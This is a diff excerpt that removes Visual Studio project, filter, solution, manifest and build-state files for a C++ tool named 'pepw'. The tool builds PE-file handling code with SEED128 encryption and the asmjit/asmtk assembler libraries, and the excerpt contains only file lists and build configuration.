<ClInclude Include="..\dep\asmjit\src\asmjit\asmjit-scope-begin.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\asmjit-scope-end.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\asmjit.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\api-build_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\api-config.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\archcommons.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\archtraits.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\assembler.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\builder.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\codebuffer.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\codeholder.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\codewriter_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\compiler.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\compilerdefs.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\constpool.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\cpuinfo.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\emithelper_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\emitter.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\emitterutils_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\environment.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\errorhandler.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\formatter.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\formatter_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\func.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\funcargscontext_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\globals.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\inst.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\jitallocator.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\jitruntime.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\logger.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\misc_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\operand.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\osutils.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\osutils_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\raassignment_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\rabuilders_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\radefs_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\ralocal_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\rapass_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\rastack_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\string.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\support.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\target.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\type.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\virtmem.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zone.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonehash.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonelist.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonestack.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonestring.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonetree.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonevector.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86archtraits_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86assembler.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86builder.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86compiler.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86emithelper_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86emitter.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86formatter_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86func_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86globals.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86instapi_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86instdb.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86instdb_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86opcode_p.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86operand.h" />
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86rapass_p.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\asmparser.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\asmtk.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\asmtokenizer.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\elfdefs.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\globals.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\parserutils.h" />
<ClInclude Include="..\dep\asmtk\src\asmtk\strtod.h" />
<ClInclude Include="Functions.h" />
<ClInclude Include="Assembler.h" />
<ClInclude Include="pepw.h" />
<ClInclude Include="PE\Exception.h" />
<ClInclude Include="PE\Log.h" />
<ClInclude Include="PE\PEBase.h" />
<ClInclude Include="PE\PERelocation.h" />
<ClInclude Include="PE\PEResource.h" />
<ClInclude Include="SEED128\KISA_SEED_ECB.h" />
<ClInclude Include="SEED128\SEED128.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,449 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="PE">
<UniqueIdentifier>{86e23592-1474-43f5-a90d-a976c970f42c}</UniqueIdentifier>
</Filter>
<Filter Include="SEED128">
<UniqueIdentifier>{cf4ea10f-5259-4f49-b676-dbab669706e8}</UniqueIdentifier>
</Filter>
<Filter Include="asmjit">
<UniqueIdentifier>{ca3b4236-749b-4f41-8e5a-c8117446965b}</UniqueIdentifier>
</Filter>
<Filter Include="asmtk">
<UniqueIdentifier>{c976445e-9e22-4938-ac2a-ae11b2a00c29}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="pepw.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="PE\PEBase.cpp">
<Filter>PE</Filter>
</ClCompile>
<ClCompile Include="SEED128\KISA_SEED_ECB.cpp">
<Filter>SEED128</Filter>
</ClCompile>
<ClCompile Include="PE\PEResource.cpp">
<Filter>PE</Filter>
</ClCompile>
<ClCompile Include="PE\PERelocation.cpp">
<Filter>PE</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\archtraits.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\assembler.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\builder.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\codeholder.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\codewriter.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\compiler.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\constpool.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\cpuinfo.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\emithelper.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\emitter.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\emitterutils.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\environment.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\errorhandler.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\formatter.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\func.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\funcargscontext.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\globals.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\inst.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\jitallocator.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\jitruntime.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\logger.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\operand.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\osutils.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\ralocal.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\rapass.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\rastack.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\string.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\support.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\target.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\type.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\virtmem.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zone.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonehash.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonelist.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonestack.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonetree.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\core\zonevector.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86assembler.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86builder.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86compiler.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86emithelper.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86formatter.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86func.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86instapi.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86instdb.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86operand.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmjit\src\asmjit\x86\x86rapass.cpp">
<Filter>asmjit</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmtk\src\asmtk\asmparser.cpp">
<Filter>asmtk</Filter>
</ClCompile>
<ClCompile Include="..\dep\asmtk\src\asmtk\asmtokenizer.cpp">
<Filter>asmtk</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="PE\Exception.h">
<Filter>PE</Filter>
</ClInclude>
<ClInclude Include="PE\Log.h">
<Filter>PE</Filter>
</ClInclude>
<ClInclude Include="PE\PEBase.h">
<Filter>PE</Filter>
</ClInclude>
<ClInclude Include="SEED128\SEED128.h">
<Filter>SEED128</Filter>
</ClInclude>
<ClInclude Include="SEED128\KISA_SEED_ECB.h">
<Filter>SEED128</Filter>
</ClInclude>
<ClInclude Include="pepw.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="PE\PEResource.h">
<Filter>PE</Filter>
</ClInclude>
<ClInclude Include="PE\PERelocation.h">
<Filter>PE</Filter>
</ClInclude>
<ClInclude Include="Functions.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="Assembler.h">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\asmjit.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\asmjit-scope-begin.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\asmjit-scope-end.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\api-build_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\api-config.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\archcommons.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\archtraits.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\assembler.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\builder.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\codebuffer.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\codeholder.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\codewriter_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\compiler.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\compilerdefs.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\constpool.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\cpuinfo.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\emithelper_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\emitter.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\emitterutils_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\environment.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\errorhandler.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\formatter.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\formatter_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\func.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\funcargscontext_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\globals.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\inst.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\jitallocator.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\jitruntime.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\logger.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\misc_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\operand.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\osutils.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\osutils_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\raassignment_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\rabuilders_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\radefs_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\ralocal_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\rapass_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\rastack_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\string.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\support.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\target.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\type.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\virtmem.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zone.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonehash.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonelist.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonestack.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonestring.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonetree.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\core\zonevector.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86assembler.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86builder.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86compiler.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86emithelper_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86emitter.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86formatter_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86func_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86globals.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86instapi_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86instdb.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86instdb_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86opcode_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86operand.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86rapass_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmjit\src\asmjit\x86\x86archtraits_p.h">
<Filter>asmjit</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\asmparser.h">
<Filter>asmtk</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\asmtk.h">
<Filter>asmtk</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\asmtokenizer.h">
<Filter>asmtk</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\elfdefs.h">
<Filter>asmtk</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\globals.h">
<Filter>asmtk</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\parserutils.h">
<Filter>asmtk</Filter>
</ClInclude>
<ClInclude Include="..\dep\asmtk\src\asmtk\strtod.h">
<Filter>asmtk</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -1,26 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cs", "cs\cs.vcxproj", "{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Debug|Win32.ActiveCfg = Debug|Win32
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Debug|Win32.Build.0 = Debug|Win32
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Debug|x64.ActiveCfg = Debug|x64
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Debug|x64.Build.0 = Debug|x64
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Release|Win32.ActiveCfg = Release|Win32
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Release|Win32.Build.0 = Release|Win32
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Release|x64.ActiveCfg = Release|x64
{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,10 +0,0 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,2 +0,0 @@
#v4.0:v100
Debug|Win32|J:\window\Quick\辅助工具\shellcode测试使用\|

View File

@ -1,119 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{1EDB5A49-9EA1-44FB-887B-0B12A9CFAECC}</ProjectGuid>
<RootNamespace>cs</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
